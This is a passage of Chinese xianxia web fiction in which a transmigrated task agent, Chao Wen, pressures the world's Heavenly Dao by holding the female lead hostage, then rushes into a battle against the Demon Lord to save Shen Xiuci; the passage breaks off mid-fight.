女主现在,还没有能够让她投注在意的资格。
陆芝芝对她而言,是微不足道的,但女主这个身份,却又让她是特殊的。
她的背后,可是有这世上的天道作为她的靠山。
天道是她的最强靠山。
同时,她也是天道的软肋。
朝玟拿捏了她,就等于拿捏了天道。
现在,她需要再试探一下,陆芝芝到底能够让天道在意到什么程度。
她无法左右天道的意志,那陆芝芝呢?是否能够让天道改变想法?做出妥协?
……
朝玟回到偏殿,先处理手头上的奏章,让陆芝芝在一旁为她研墨。
虽那张娇俏的脸色满是不情愿,但碍于朝玟的权威,她并未说出半句怨言。
果然,没有沈修慈在场,天道便立刻出现了。
它看着一脸春风,忙的抬不了头的朝玟,语气极冲,没好气道:“你到底要干什么?”
朝玟接过陆芝芝递来的茶水,吹了一口气,轻轻抿了一口:“大清早的怎么这么着急上火?”
喝完茶水,朝玟笔墨不停,和天道闲聊似的解释道:“不是我招惹的她,是她非要留在我这里,昨天你说不许我动她,我今日便履行承诺,可她说要长跪不起,总不好再叫她一直跪着吧,只好让她跟在我身边咯。”
天道也觉得好像没什么问题,只是话里依旧隐含威胁:“别打她什么注意,要是她出了什么事,别说投诉了,我能让你立刻死在这里,你信不信?”
朝玟完全无所畏惧,哦了一声:“那你现在就劈死我,另请高明来替我吧。”
接着,又悠悠补充:“反正不过是从零开始,再来一个十年而已。”
天道:“……”它沉默了。
十年对朝玟是弹指一挥,对天道来说确是实打实的,从头再来,代价太大。
朝玟心中冷哼,小样,就这嘴皮子一碰,还想吓唬她?
“昨日沈修慈在,你不敢开口,是不是因为被他发现你的存在?”朝玟趁着天道郁闷,不敢拿她怎么样,又旧事重提。
“他已经位及半神,按理来说,他的气运,不比你钦定的女主要逊色。”
“你与其担惊受怕的呵护女主,为什么不能就沈修慈这个现成的半神来当男主?这样仙域也能少一次动荡,更有利于世界稳定啊。”
天道:“你懂什么?沈修慈他就是一背景板,哪怕是位及半神,也改变不了他就是一个偏离了原命运轨迹,一个行为异常的背景板的事实。”
朝玟:“即便是背景板,只要气运值足够,他便可以将主角取而代之。所有主角的安排,以世界秩序为先,这也是所有世界的天道都心照不宣的一个原则,我又不是初出茅庐的新人,你不要当我不知道。”
天道突然好像回过了神,气急败坏道:“那又怎么样我喜欢谁就让谁当主角,这是我决定的!容得到你来置喙?你该不是攻略他这么多年,对他产生了什么不该有的怜悯吧?”
天道大声质问:“你是不想好好做任务了吗?”
朝玟一时半刻没有理他,气定神闲的喝了一口茶,像是在思考,这让天道的怀疑更深。
谁知朝玟直接与它摊牌。
“隗洛在我的手里,女主也在我手里,未来一段时间还会与我朝夕相伴,你应该知道这是什么意思,我觉得凭着这个,你跟我也该好好说话。”
天道的声音终于不似刚才嚣张:“我警告你,不要动什么歪心思。”
朝玟赌对了,女主果然就是它的软肋。
她抿唇轻笑了一声:“我不会拿她怎么样的。”
“毕竟我们现在还是委托与被委托
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的关系,我如果得罪了你,对我也没有什么好处。”
天道:“……你的条件是什么?”
朝玟:“我只想弄清楚一件事。”
“为什么沈修慈不能当主角?”
“明明无论是从能力性格还是手段来说,他都比你所挑选的人更加的合适。”
聊天界面安静下来,半透明的屏幕犹如一张博弈的棋局,剑拔弩张。
“我们没得谈了,任务者,你的任务结束了。”天道的声音突然沉冷下来。
“我做我的决定,自然有我的道理,这关系到整个世界的运行,你那肤浅的理由,不足以动摇我的决心。”
天道直接掀了桌,冰冷冷威胁:“对于你的投诉,我会尽快送到,我可以保证你要是还如此执迷不悟,你的酬劳,一分都不会拿到。”
朝玟淡定反问:“你确定要投诉我?”
她招招手手,示意陆芝芝靠近。陆芝芝走到她面前,她仔细地上下打量了几眼,在陆芝芝困惑而探究的目光中,她的手指缓缓抬起,从她的脸颊轻轻滑过,最终停在了她的后颈处。
朝玟轻轻的用手捏了捏,仿佛在捏一只幼嫩的小猫后颈,天道将这一幕看在眼里,大气都不敢出一下。
朝玟关心道:“怎么这么清瘦。”
陆芝芝不自在的缩了缩脖子,不明白她是什么意思。
朝玟继续关心道:“我听说你是神官从人界带回来的。”
“你应该还未辟谷吧?”
陆芝芝迟疑的点了点头。
“瞧我光顾着办事,既然把这一茬给忘了。”
朝玟左看右看,看到桌上放着一叠糕点,随手拿了一块地给她。
“吃一点垫垫吧。”
女主不敢拒绝,只好接过,一小口一小口的吃,她还是有小动物一样的本能,知道朝玟不是真心对她好,一直警惕着。
但朝玟没必要害她,对她的这份敌意,只是不甚在乎的轻笑一声,将剩余的糕点推到她的面前,对天道说。
“你也看到了,她现在在我身边,什么都要依靠我。”
“这里是昆仑殿,我的地盘,她无论走到哪里都要被限制,所有做的事情都要经过我的许可,无论给她什么,她都没有拒绝的份。”
“你的主角在我手上,你拿什么威胁我啊?”朝玟轻笑,云淡风轻,对天道讽刺紧逼。
“我就只有那一个问题,无论你如何对我,我都想知道,为什么沈修慈不能够当主角?”
天道彻底被逼急:“你以为你有资格和我谈条件吗?”
他最后放狠话道:“你等着,今日你所做的一切,我会让你付出代价的。”
说完天道就恨恨的隐退了。
金炉中袅袅的一线青烟,被从门外吹进来的一阵风搅乱。
朝玟耳边回荡着磨墨的细微声响,脸色沉静一片。
朝玟知道,她已经成功地触动了天道那根最的敏感神经,点燃了天道心中的导火索。现在,只需静待天道在失去理智的边缘做出极端的举动,到那时,她的目的也就达到了。
她的目光看向金光崖的方向,现在她已经万事俱备,只欠东风。
等到天道的这一把火落到金光崖下,再一次开启仙魔大战,到那时一切都该结束了。
朝玟看着字迹工整的奏章,出神的想到了前任执行官还未被撤职时,和她的一段对话。
执行官也是从任务者晋升过来的,有一次朝玟和他汇报一个风险极大的任务世界,执行官曾感慨,他有一次,也是和朝玟一样凶险,九死一生,差点回不来。
只是当时正是世界磁场最紊乱的一个节点,正反两派对峙混斗,他非常不幸,受了足以致死的伤,濒死之际,系统识别到他已无生还的可能,直接与他的精神断了连接,再也无法帮助他。
还好他作为外来的人,灵魂不受干涉,他的灵魂得以逃脱险情,借尸还魂,这才让他捡回一命,又找回系统,顺利回来。
朝玟初次听,只觉得惊险,并未想太多,而现在再想起来,她顿时醍醐灌顶,让她觉得,虽然惊险,但也未尝不是一条重获新生的蹊径。
要想摆脱系统,蒙骗天道,脱离穿书局的桎梏,唯有这个办法能够一试。
朝玟绝不会再和任何人妥协。
凭什么有能力者就要被牺牲?只因不被喜爱,就该做别人的垫脚石?
他们不仁,就休怪她不义。
沈修慈,她要保住。
她自己,也要脱身。
既把她逼入穷巷,那就拼个鱼死网破。
谁也别想轻易毁了她。
25. 往日幻境(八)
从点燃导火索到引燃的这个时间,朝玟并没有等太久。
沈修慈离开已经五日,朝玟就将陆芝芝带在身边养了五天。
她的师父还真的给她带来了不少惊喜,本来以为隗洛只是犯一些小错,没想到顺藤摸瓜,竟然让她摸出了许多牵涉深远的大案,里面居然都有隗洛的参与。
不过他并不算是主犯,罪责较轻,所以朝玟对他的处罚也都是一些小惩,觉得没什么大问题之后,就将他放回去了。
可是她虽然放了隗洛,却没有打算把陆芝芝也放回去。
陆芝芝也以为她的师父仍然被羁押在牢狱里,所以依旧跟着朝玟,每一天都很警惕,像一只怎么也不亲人,还很想要攻击人的小猫。
只可惜无论是她,还是天道,都拿朝玟毫无办法。
头两日,天道仿佛为了印证最后放出的狠话,要让朝玟付出代价,昆仑山脚下,罕见的出现了魔族活动的身影。
祸及村舍,鬼影连连,闹得山下不得安宁,人心惶惶,众口一词,都说这一次金光崖的异常非同小可,恐怕魔主即将再次出世,届时三界或将再次陷入一片混沌与动荡。
朝玟及时行动防备,安抚民众,并将人群转移,借机又抽调了一支精锐守在金光崖和昆仑山的的边界,安排好这一切后,转头就对陆芝芝看管的越发紧密。
紧锣密鼓,无形对峙,不见刀光剑影,但气氛紧张,比锋利的兵刃更加刺骨。
第三天第四天,天道又收敛了一些,朝玟亦放松了对陆芝芝的掌控。
两方互相试探,都想看看对方究竟能忍到什么程度。
但朝玟无所顾忌,到底更胜一筹,第五天,天道的那一根弦终于绷到了极限。
傍晚时分,有仙士匆匆忙忙前来禀报,说金光崖的方位出现了异动。并且这次异动,比之前每一次魔主冲击封印时的动静还要强烈。
不用他通报,朝玟在第一时间便已目睹,那股直冲云霄、犹如熊熊烈焰般凶猛的森冷魔气。
犹如怨气冲天的蛟龙,一朝破印而出,金仙所布下的阵法应声而碎,片片裂痕中,搅得一方天穹混沌不明。
天道终究还是没有忍住,率先动了手。
它发动魔主冲破了封印,提前开启仙魔大战,想要立刻除掉沈修慈,扶持主角上位。
昏晓之际,狂风大作。
朝玟独坐在昆仑殿上的阁子里,半身斜靠在敞开的窗前,手中擦拭着一柄宝剑,面前的桌上,放着四张打开的信笺,用镇纸压着。
风卷翻飞,纸上字迹犹如舞剑时矫健流畅,每一张,都只短短三字。
今日安。
前四日,朝玟每日都和沈修慈互传书信,无一日断绝。
可今日,朝玟早上寄信,到现在傍晚,回信却迟迟不来。
她心有些乱,心中隐隐有些不好的预感,可看着桌上那些信纸,又强迫自己镇定下来。
别慌,一切都在按照她的计划进行。
天道被她逼得在此刻驱策魔主出世,讨不到什么好处。
沈修慈的好感没满,它没有消灭沈修慈的条件,这样做,它能达到的目的也只不过是让昆仑付出代价,想要逼得她惧怕,将陆芝芝放了。
陆芝芝一旦重获自由,它也能如愿收回主动权,从被胁迫的位置上摇身一变,朝玟没了掣肘它的把柄,便只能任它处置。
只是这一切,它算得到,朝玟难道算不到?
她这五天也没闲着,做了许多事,必能保住昆仑。
自从狱法之乱后,仙域到现在元气都没有恢复过来,战备的主力十二金仙死伤近半,剩下的都在天外天颐养天年,现在能应战魔主的,唯有沈修慈一人。
可沈修慈现在仍在鼎盛,一人也足够了。
朝玟只专心应对昆仑的困境,有条不紊对下面跪着的仙士吩咐道。
“再派精锐向南方去,死守昆仑和金光崖的边界。”
“打开护山大阵,派一支飞骑,去最近的白昊山请求支援。”
“拿我的令牌,去天外天请金仙前来相助,能请多少请多少,这几件事速速去办,不得有误。”朝玟取下腰间的令牌扔给他。
那人领命,犹如一阵疾风,倾刻便走了。
陆芝芝和流光一起站在一边,眺望向乌云团集,黑气翻涌的南方,语气忐忑恐惧:“君后,金光崖那边,会不会有事啊……”
朝玟将擦得雪亮的剑推进剑鞘里,放在桌上淡声道:“能有什么事。”
陆芝芝:“魔主已经冲破封印,君上就一个人,我担心……”
说话的忽然间,一只灵鸟自窗外翩翩而至,朝玟盯着那只鸟,对陆芝芝摆了摆手,截断了她的言语,目光稍显怔忡,落在那灵鸟足上悬挂的信筒上。
她几乎立刻站起来,小心翼翼的将信筒从鸟腿上取下。
但见那信筒里,不是一封信,而是一张灵符传讯。
她心中沉了一下。
前些天都是书信,为什么今天不同?
她轻展灵符,迅速往其中注入一抹灵力。
随即,淡金色的字迹缓缓浮现。
[吾妻朝玟:
魔主降世,吾将与之决一死战。信玟定能妥善料理昆仑事务。然而,值此非常时期,务必珍重自身。若吾不幸未能归来,昆仑重任,便托付于玟之手。]
朝玟眼睫微颤,霎时感觉手指冰冷,忍着心慌往下看去。
[昔日分离之言,刻骨铭心,未尝或忘。然十年结发之情,终是难以割舍。
然而,如今生死攸关,恐再无来日可言。若玟决意离去,我亦无力挽留。此信一则作为绝命之遗言,二则作为和离之凭证。虽夫妻缘分短暂,但吾已无憾。往后岁月,愿玟善自珍重。]
风越发大了,镇纸逐渐压不住轻薄的纸,让其四散落地,渐渐不见踪迹,朝玟亦在风中浑身冰冷。
她看完,不自觉收拢五指,灵符在她紧握的掌中皱缩成一团。
这是一封绝命书。
笔墨都展不开,是用灵气匆忙发出的。
她了解沈修慈,他一贯是报喜藏忧,这封绝命书落入她手中,无疑预示着形势已万分紧急。
怎么会这样呢?
好感值并没有满,当初系统也说,天道只有在好感度满的情况下才能够对沈修慈动手。
这场大战,他实力鼎盛,不应该有事才对。
可是,系统可能骗她,天道也可能骗她,以前她的任务,也不是没有遇到过委托方另有隐情,没有如实相告的情况。
朝玟顿时感觉头晕目眩,内心涌起一股难以名状的恐惧。
要是沈修慈现在就死了,她的任务就也宣告结束了,等回到现实世界,不必等沙执行官给她扣锅,就凭她拿主角威胁天道这一条,就足够让她从此与晋升无缘。
在她心中,死遁要高于沈修慈的优先级,他只是一个任务对象,书中的一个纸片角色而已。
本应是这样。
可她现在心乱如麻,到底是害怕一招差错,满盘皆输,还是只是担心沈修慈的安危,她已经不能分清了。
她不要沈修慈的托付,这又不是她的昆仑,她的仙域,她要沈修慈回来,亲自守护这里。
……
一旁的陆芝芝和流光都看不到灵符的内容,只见朝玟眉眼沉静,不见异色,只是看完后,短暂的闭了闭眼,便突然毫无征兆的拿起了剑,站了起来,右手抓住陆芝芝的手腕,带着她往前走,边走边说:“你跟我过来。”
陆芝芝自刚才起就惊恐地注视着朝玟的一举一动,心中的恐惧让她挣扎着大声呼喊:“君后?!你要带我去哪里?”
“昆仑殿不安全,我带你去安全的地方。”
幸亏她历经无数风浪,朝玟觉得她现在还很冷静,她脑中一刻不停的分析着时局,找着破局之法。
如今整个昆仑都不安全,天道既然要向她发难,肯定不会只寄希望于战乱。
它一方面要对付沈修慈,一方面肯定也要提防朝玟,毕竟他的心肝宝贝主角还在她手里捏着呢。
朝玟把陆芝芝带在身边,既是催命符,也是免死金牌。
如果现在就带陆芝芝和天道谈判,只要她能保住沈修慈不死,她就能顺利执行计划,就还是赢家。
她紧紧抓住陆芝芝的手,想将她带到外面一早就停好了的马车上。
陆芝芝却原地坐在了地上,不愿意跟朝玟走。
朝玟回头,看着她凄慌的哀求。
“这几日我总是做梦,梦里有人对我说,君后你是坏人,要杀了我,我总是担惊受怕,你若想取我的性命,我安能有活路?可是我不想就这么死了。”
“如今昆仑危急,我本不该怀疑君后对我的好意,可是我心里总是害怕。”
陆芝芝说着,哭了起来。
那道出现在陆芝芝梦中的声音,恐怕就是天道了。
朝玟没想到它对主角的看护竟然到了这个地步,天道是不允许与此世之人直接沟通的,否则则被视为破坏世界秩序,将会受到严惩,但它竟然不惜以托梦的方式,也要让主角远离她的身边。
朝玟冷脸道:“梦里的事不足以当真,我这几天可曾有做过半点伤害你的事?”
陆芝芝摇头,脸色抗拒的神情丝毫未减,朝玟虽然没伤害她,但也没让她好过。
在朝玟身边,她没有一天能完全自由,做什么事都有人看管,还总是让她看些深奥的书,监督她的学业,这些天她度日如年,感觉比在司政宫难熬百倍。
朝玟竖起三指,郑重道:“我以我的性命向你起誓,我不会伤害你,你要是跟我走,我保你周全。”
陆芝芝抽噎:“那我们现在要去哪?”
朝玟不想在这个时候骗她:“去金光崖。”
陆芝芝一听就慌了:“可那里不是最危险的地方吗?我不去!我不去!我要见师父,让我去见师父!”
朝玟跟她耐心解释:“仙域今时不同往日,十年之前元气大伤,至今尚未恢复,金光崖是魔主的镇压之所,有近半的精锐兵力看守,在那里反而能够得到庇护,即便是昆仑沦陷,你肯定也是最后一批死的。”
陆芝芝依旧哭诉:“可是,可是那里也是离魔主最近的地方,要是君上不能打得过他,那岂不是我第一个就要死?”
这话好逆耳,朝玟脑中又一次想到那字字心惊的绝命书,让她顿时动怒。
这么贪生怕死,苟且偷安,真不知道她是如何像书中所说的那样当上仙域之主的。
见她挣扎哭喊个不停,朝玟
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不可能在这个时候将她放走,也觉得她哭得心烦,干脆一掌打晕了她,心里说了一句对不住。
朝玟嫌马套车慢,干脆弃了车,把晕厥过去的陆芝芝扔上马背。陆芝芝还是个凡人,尚未入道,肉体凡胎,承受不住飞天遁地的压力。
朝玟在进入穿书局之前,是做代驾谋生的,到了各个任务世界,对各种载具有格外的感兴趣,所以什么载具她都会操控,骑马自然不在话下。
可骑马终究还是太慢。
朝玟双手结印,压迫灵力,自虚空中强行拽出一条透明的栈道,它如同一道虹桥,向金光崖的方向延伸而去。
交代流光稳住昆仑殿后,她就圈着陆芝芝,背后负剑,从昆仑殿上空的栈道,一路飞驰。
山脚下的结界外,黑暗如同汹涌的潮水般翻滚,无数魔族如同蜂拥而至的蚁群,密集地集结在一起。它们紧紧附着在金光璀璨的结界边缘,形成一幅令人心悸的恐怖景象。
魔主出世的气息吸引了这些魔物疯狂向昆仑聚集。
不过她也早已经提前部署完备,许多御剑而行的身影也列阵上前,在结界边缘抵御入侵,昆仑一时半会他们是攻不下来的。
朝玟凝重的想:但愿能够从天外天请来救兵,这样昆仑的损失可以尽可能的降到最低。
只是,她奔驰的身影终究是太过显眼,犹如一尾逆流而上的鱼,那些魔物乃是天道的眼线,看见朝玟犹如狼见了羊,变得更为疯狂。
薄薄的结界看上去不堪一击,却坚韧的抵挡住了攻击,朝玟眼神凛然,发丝和衣袂在风中翻飞,目光始终如一,紧紧盯着透明栈道乌云滚滚的前方,没有一刻移开。
可就在朝玟快赶到金光崖之前,几只魑魅赶到了现场,联合发力,猛然间将坚固的结界撕裂出一道仅供一人通行的裂缝。
顿时,犹如洪水决堤,魔物进入了昆仑,蜂起至空中,向着朝玟的方向一拥而上。
护送朝玟的仙士被一个个击退,它们来到朝玟的面前,目的却不是杀死朝玟,而是将朝玟和她身前已经陷入昏迷的陆芝芝分开。
这些都是受天道驱使的,目的执着很是难缠,朝玟的马匹瞬间被他们开膛破肚,她抱着女主在栈道上滚了几圈。
朝玟当机立断,拔下陆芝芝头上的双朵梨花簪,尖锐的簪子尖端逼着陆芝芝雪白的脖颈,威胁道。
“谁再靠近一步,我就了结了她,让这个世界玩完。”
那些魔物愤怒至极,它们张牙舞爪地嘶吼着,却不敢再进一步。朝玟抹了一把脸上被罡风割出来的血迹,挟持着陆芝芝,踏入了金光崖的地界。
朝玟仰望金光崖上空,雷霆轰鸣,乌云密布,仿佛要将天际压垮。
两道身影在云层之上以令人目不暇接的速度激烈交战,刀剑的光芒不时划破黑暗,将浓厚的乌云割裂出一道道巨大的缝隙,但云层又迅速闭合,将两道一正一邪的影子隐蔽。
朝玟尽力窥视,却难以辨识上方的具体情况,太高了,只能凭着感觉判断其中一道金光闪烁的身影看着略显下风。
天道果然有后手。
她自嘲扯出一个笑,眼眸却冷下去。
朝玟打开攻略面板,果不其然,天道早就已经在上面等着她了,那团柔和的白光语气低沉而恐怖,幽幽道。
“你究竟想干什么?”
朝玟没有松懈抵住陆芝芝脖颈的发簪,还更用力的往前刺了一下,平静道:“少啰嗦,你知道我要什么。”
被尖端抵住的脖颈皮肤,赫然出现了一抹鲜艳的红印,像是一颗马上就要流血的红痣,那金簪的尖端锋利异常,似乎只需轻轻一用力,便能轻易穿透皮肉。
天道果然十分忌惮她挟持主角,主动的退了一步,让魔主的攻势慢了下来,让沈修慈和他打成平手。
“你太可笑了。”天道怨恨道:“保住他对你有什么好处呢?你来自更高维的世界,我这里对你而言,只是你们那里的一本书,一段文字,为了一个虚幻的人物,你连你的前程都不顾了吗?”
它循循善诱,期望朝玟改变想法:“我可是知道你的,你可是金牌攻略者,在转组之前,从未有过败绩,尽管转组后遇到了一些波折,但你的成就依然近在眼前。”
“你的实力出众,一旦任务完成归来,下一个执行官的位置肯定非你莫属。” 天道继续说道。
“届时,不仅你的上级会对你另眼相看,整个穿书局都会对你敬重有加。你真的想好了吗?要与我对抗?这对你没有任何好处,既不值得,也没有这个必要。”
朝玟语调铿锵有力反驳道:“传书局以收集和平能量为己任,你告诉我杀死沈修慈,这个世界能够得到和平吗?”
“主角稚嫩,不能够立刻挑起重担,她的师父又是那样贪赃枉法之徒。”
“若不留下沈修慈,往后仙域很长一段时间不会有太平日子,这你不清楚吗?”
两方的气势正焦灼,这时,朝玟脑海中久久不出现的系统,突然叮的一声,又和她联系上了。
它刚一出现,就发现情况有些不对,朝玟正拿着刀挟持着一个少女。
系统定睛打量了半天,感觉这个少女长得有些像此世间的主角,机械声短路一样刺啦两声,连忙问道。
“这是什么情况?”
26. 往日幻境(九)
金光崖上,下起了小雨,随着劲风拍打在脸颊上,生冷似冰。
天道和朝玟之间紧绷窒息的气氛一滞,同时沉默下来。
朝玟先反应过来,听到系统的机械音,她刚才还激烈的神情突然之间就镇定了下来,问道:“你怎么回来了?”
系统反感的哼了一声:“你以为我想?还不是因为你心跳毫无征兆突然飙到150,让死亡警报滴滴个不停,怕你死在这了连累我,所以才进来看看。”
朝玟刚才没有回答它的问题,系统再次发问,语气中带着明显的不耐:“所以你现在在干什么?什么事能让你这么紧张?”
后半句带着稀奇的惊讶,朝玟情绪失控,这对它来说太罕见了。
朝玟听到它出现的原因,顿时陷入了沉默。
这不是她预想中让系统现身的契机。
她以为,她将天道逼成这样,它一定会转身去穿书局投诉,届时收到投诉信,凭着现在系统并未和她解绑,还和她是荣辱共系,虽然它们已经闹翻,可仍是一条船上的人,就算是再不情愿,系统也会帮她说话。
靠系统三言两语,就像忽悠那时的她一样,把天道忽悠得一愣一愣之后,她要再做什么也方便。
可谁知天道能忍的让她感动,她挟人相逼到了刚才的地步,投诉都没报上去。
但好歹关键时刻系统还是出现了,于是朝玟按照计划含糊其辞:“就是你看到的那样。”
系统有些摸不清头脑为什么朝玟要挟持主角,但以它对朝玟的了解,它觉得朝玟应该不会对主角怎么样,于是抬头看天:“那两个打架的是谁?”
“魔主厄央和沈修慈。”朝玟不打算多说,让它自己猜。
系统仍未搞清状况:“奇怪,大战怎么提前开始了……”
天道见被忽视,插嘴道:“大战是我发动的,任务者她想不干了,你快命令她,让她把东西从我的主角脖子上放下!”
系统这才发现,还有一个急得团团转的天道在一旁。
“你说朝玟她不想干了?怎么可能呢?你们是不是有什么误会啊?”
系统连忙为朝玟辩解,虽然朝玟和它已经闹翻了,可到底还是同事,要是她犯了什么事,系统作为搭档,也难逃责罚,两人就算是再不和,在应对天道时,还是得站在一边。
天道大喊:“她都用那么尖的簪子抵着我主角的脖子威胁了,你说这是误会?小心我真的真的投诉你们!”
“诶诶,有话好说啊。”系统不知道它虚张声势,一听投诉两字,马上就慌了,不分青红皂白,赶紧安抚天道。
“攻略者没有放弃任务这个选项,她想要不干,除非死在这里,只要不是疯了,谁会真的为了一个书中世界的人物,置自己的性命于不顾呢?这肯定都是气话。”
系统努力编圆:“她威胁你,开启大战,额……恐怕也只是想要再多挣一波沈修慈的好感度。”
“只有这样才能够再刺激一波沈修慈,若是能够平安的帮助他度过这次危机,沈修慈的好感度肯定也会再涨一大截,她这是想帮你。”
天道半信半疑:“那我的战争都发动了,我能够将沈修慈置之死地的杀手锏都用掉了,你却说这是在帮我?”
系统:“杀他何必非要等他战死?等到沈修慈的好感度满了,他变虚弱了之后,你随便再找个理由不就行了?对你来说,要杀死他不是轻轻松松的事?”
朝玟就在一旁挟持着人质,静静的看着它和天道解释。
一切都在预料之中的事态,令她的心跳逐渐平稳,肌肉也放松下来。
她这才发现,从她将簪子抵住陆芝芝时,又或者是从刚看到灵符时开始,手就一直在无意识的轻微发抖。
簪子尖端留下的红印,在柔软的脖颈皮肉上,落下一道由于手腕颤抖而蜿蜒游移的痕迹。
朝玟察觉,悄悄放松了一些力度。
系统它虽然现在正在帮着朝玟说话,可心里却指不定再怎么骂她。
但这又有什么重要的呢?
真正重要的,是她自己,还有……朝玟抬眸望向天际,眼中闪过一抹担忧,随后又沉下眼眸。
她一动不动,手中的尖簪依旧稳稳地抵在陆芝芝的肌肤上,不曾改变半分。
那边天道继续冷硬质疑道:“那她拿主角威胁我是怎么回事,你给个解释。”
系统滋滋的发出卡壳般的电流声,绞尽脑汁说道:“啊……这肯定也是为了确保计划万无一失,只有彻底激怒了你才能够开启大战嘛。”
系统换上一副凶狠语气催促朝玟:“还架着主角干什么?赶快把人放下!”
朝玟纹丝不动:“我放了她,它就会让沈修慈死。”
系统劝:“现在都说开了,大家依旧是合作关系,怎么还会真的动手呢!天道您说是吧?”
朝玟紧盯天道:“既然说开,总该让我看到你的诚意。”
“那你的诚意呢?”
朝玟将陆芝芝放在地上,站远了两步。
天道没有说话,但也主动退了一步,让结界之外魔物的攻势减弱了几分。
天道决定不计较前面的是非,和朝玟暂时和解:“说说你的计划。”
朝玟:“系统说的没错,若不激怒你,根本无法提前开启大战。”
“按照这个好感度的递增趋势来看布置需要几年才能够刷满,所以我想再添一把火刺激一下,只是为了这一把火,我需要一个令他印象深刻的契机,思来想去,没有什么比在战场之中用身体保护他的性命,更来的刻骨铭心了。”
系统附和:“是了是了,她是我们的金牌攻略者,按照这个方法一定没有问题的。”
它说完转眼又拉着朝玟私聊,嘲笑她:“我以为你还有什么高明的招数呢,这种伤敌一千自损八百的方法,那句话怎么说来着,你就是在作困兽之斗。”
“沈修慈那样强的人还需要你救?我看你不如乖乖的认清现实,就承认任务失败算了。”
天道不知系统的两面三刀,完全相信了它的鬼话,心平气和的对朝玟说:“要我怎么配合你。”
朝玟不理会脑海中系统的嘲讽,对天道说:“我加入他们之间的战斗,把战场变成混战,你见机行事在沈修慈露出破绽的时候,假装给予致命一击。”
天道笑了两声:“好啊,就按你说的办,但是你最好不要耍什么花招。”
眼看所有的计划都顺利推行,朝玟又兴奋的心跳加速,血液在耳畔沸腾,震得耳膜咚咚的响。
经验告诉她,天道现在的话可以信,但是不能全信。
她之前毫无预兆的发难,已经的将天道已经得罪透了,系统虽说让整个剑拔弩张的局面得以扭转,可是在天道的心中,系统和她毕竟还是一伙的。
不知道对于系统和她刚刚的一番解释,天道能够相信她几分。
所以它许诺的致命的一击,可能会是假的,也可能会是真的。
天道本就是要沈修慈死的,试问真有机会让沈修慈暴露破绽,它真能忍得住不下手?
朝玟但凡做事,都习惯性的多算几步,可是算计归算计,在真实的情况之中,计划永远赶不上变化,尤其是在这种瞬息之间变化莫测关键时刻。
为今之际,唯有放手一搏,赌一把。
她看向上方你死我活的两个人,拔出剑,飞身加入战场。
……
朝玟的加入果然让战况变得混乱起来。
厄央本来只专心致志对付沈修慈一个,可是有了朝玟的加入,很快就变成了二打一的局面,他虽然不把朝玟放在眼里,可是也不得不分心应付,一时之间手段愈发变得狠厉,没有章法起来。
沈修慈:“你来干什么?”
朝玟同时问:“你还好吗?”
突然飞来许多燃烧漆黑魔气的流星,朝玟掐诀展开结界抵挡:“昆仑我已经安排妥当,看到你给我的书信,我不放心,过来助你。”
沈修慈一向端方,这还是朝玟第一次看见他狼狈的样子。
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虽说是狼狈,可也只是身上负伤,织金的衣袖破损,他还是目如沉潭,身长玉立,因为拼杀,那双看着她总是冰雪消融的眼中,多了些嗜血的杀气。
沈修慈听到朝玟说担心,眸光软化三分,暂时从战场抽离,温和而不赞同的看着朝玟。
“你不该过来,魔主实力大增,这里很危险。”
“那你就不该发灵符给我,白让人担心!”朝玟怒气冲冲,带着焦急的怨气:“这种情况我怎么好独守昆仑,让你一个人面对这些!”
沈修慈也是第一次见朝玟这样气势逼人的模样,眼睫颤了颤,微微垂眸道:“仙域势弱,昆仑一家独大,可独木难支,我一人牺牲,可以换得三界安宁的话,是最好的结果。”
朝玟没想到他还想到自我牺牲了,明明是他被天道针对,明明受了委屈,可他却还想着奉献自己。
朝玟心里气不打一处来,满腔的打抱不平,也无力诉说,只能情绪复杂道:“专心应敌,别说傻话。”
她努力搅局,但仔细看,她却在逐渐取代沈修慈的位置,成为和魔主打斗的主力。
朝玟永远不低估人性。
她赌,天道忍不住,一定下死手。
她觉得,天道完全不可相信,朝玟必须确保沈修慈万无一失。
她说是引诱沈修慈露出破绽,但她的策略是——将沈修慈推离战场,她和魔主同归于尽。
这样,不仅可以彻底消除沈修慈在这个世界上的唯一威胁,并且她也能够侥幸留下一条性命,两全其美。
……
魔主全身包裹漆黑的烈焰,攻击强势。朝玟在过了上百招之后,也受了很多的伤,逐渐体力不支。
可再看沈修慈,因为天道令他虚弱,他比朝玟看上去受的伤还要多出不少。
朝玟在空中翻转躲避,手中宝剑凌凌,冰蓝的衣袂猎猎,乌发在脑后飘舞,细眉压着亮的惊人的眼眸。
朝玟咬牙,她必须撑下去。
不能就这么死了,让一切毁于一旦。
朝玟揽下大部分攻击,也增加了丧命的风险。
沈修慈一剑将魔主的攻向朝玟的黑焰劈成两半,挡在朝玟身前劝道:“回去吧,魔主与我结怨,针对的只有我,这场战争也和你无关。”
“不行。”
朝玟不可能答应他,正重振旗鼓,要提剑再杀,可突然她身体一轻,飞了出去。
推开她的力道轻柔却不容抗拒,在朝玟的视线中,沈修慈的脸,在一瞬间就变得遥远了。
她看着他,不敢置信。
他收回沾着血的手,对着她淡淡的勾起嘴角,仿佛看到她安全,他就安心了。
朝玟看见那个笑容,瞳孔紧缩,脱离掌控的失控感如潮水将她吞噬,耳边陷入嗡鸣。
她千算万算,算计了能算计的一切,唯独没有把沈修慈算进去。
朝玟眼睁睁的看着沈修慈露出了一个破绽,暴露心口,足以一击毙命。
天道在一旁等了半天,就是为了这一刻,立刻控制厄央冲向沈修慈,给予他致命的一击。
这一攻击没有半分的留情,完完全全就是为了取他的性命。
沈修慈也打算和魔主同归于尽,眼中闪过决绝的杀意,身后展开金光大涨,展开法相。
山峰般巍峨的法相金身凭空显现,有万丈之高,金身手持警世,宛如怒目金刚,对着魔主那团混沌之体斩去——
暴雨如注,倾泻而下,乌云密布的天空,金光和魔气巨大无比,对相而冲,搅动得世界不安,宛如末日。
朝玟被推到了战场边缘,已经距离他们很远了。
她看着天上那个坚韧而微渺的身影,看着那一道触目惊心,足以把人击碎成粉的攻击,看着法相上微不足道却一击即溃的寸寸的裂痕……
她此刻的念头已经不是什么争一个公道,也不是什么任务的成败,她满脑子就一个念头——不能让沈修慈死。
她不能接受沈修慈,死在她的面前。
27. 往日幻境(十)
魔主冲击的速度很快,但是由于体型太过庞大,相隔太远,给人一种缓慢逼近的错觉。
朝玟不知道从哪里激发出来的潜力,脑内没有任何想法,身体就已经率先做出了反应,快速的冲了过去。
想要抵挡住那道攻击的目的强烈又鲜明的在她的脑内熊熊燃烧,不允许她有丝毫的退缩,快速应对的能力更是变成了一种本能。
现在的灵力不够,那就调动昆山灵玉,身法不够快,那就用剑诀弥补,要是还不够,就反噬自身,消耗生机。
